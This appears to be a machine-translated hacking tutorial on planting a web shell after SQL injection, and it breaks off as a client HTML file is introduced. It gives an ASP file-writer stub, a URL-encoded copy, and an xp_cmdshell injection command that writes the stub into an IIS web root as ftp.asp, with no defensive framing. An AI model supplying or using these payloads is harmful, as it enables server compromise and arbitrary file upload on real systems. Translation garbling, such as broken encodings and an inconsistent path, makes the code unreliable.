After SQL injection, how to upload the treasure horse, has always been a more headache, and I have another way to upload the Trojan here.
1. When SQL is injected, use XP_cmdshell to write an ASP file that can write files on the server.
document content:
<% Set objFSO = Server.createObject ( "Scripting.FileSystemObject") Set objCountFile = objFSO.createTextFile (request ( "mypath"), True) objCountFile.Write request ( "mydata") objCountFile.Close%> This file can be written in one line <% Set objFSO = Server.createObject ( "Scripting.FileSystemObject"): Set objCountFile = objFSO.createTextFile (request ( "mypath"), True): objCountFile.Write request ( "mydata"): objCountFile.Close%>
Code special characters can be obtained
% 3C% 25Set% 20objFSO% 20 =% 20Server.createObject (% 22Scripting.FileSystemObject% 22): Set% 20objCountFile = objFSO.createTextFile (request (% 22mypath% 22), True): objCountFile.Write% 20request (% 22mydata% 22): ObjcountFile.close% 25% 3E
Injection (here the Web directory is c: / inetpub / wwwroot /):
exec master..xp_cmdshell 'echo "% 3C% 25Set% 20objFSO% 20 =% 20Server.createObject (% 22Scripting.FileSystemObject% 22): Set% 20objCountFile = objFSO.createTextFile (request (% 22mypath% 22), True): objCountFile .Write% 20Request (% 22myData% 22): objcountfile.close% 25% 3e "> c: /inetpub/wwroot/ftp.asp ';
This will generate an ftp.asp file in the server's web directory.
The code of the file is
<% Set objFSO = Server.createObject ( "Scripting.FileSystemObject") Set objCountFile = objFSO.createTextFile (request ( "mypath"), True) objCountFile.Write request ( "mydata") objCountFile.Close%>
You can see that two interfaces MYPATH and MyData are reserved in the code.
MyPath is the generating path of the file next time.
MyData is the content of the file
Write a client file in the locally: RohuClient.htm code is as follows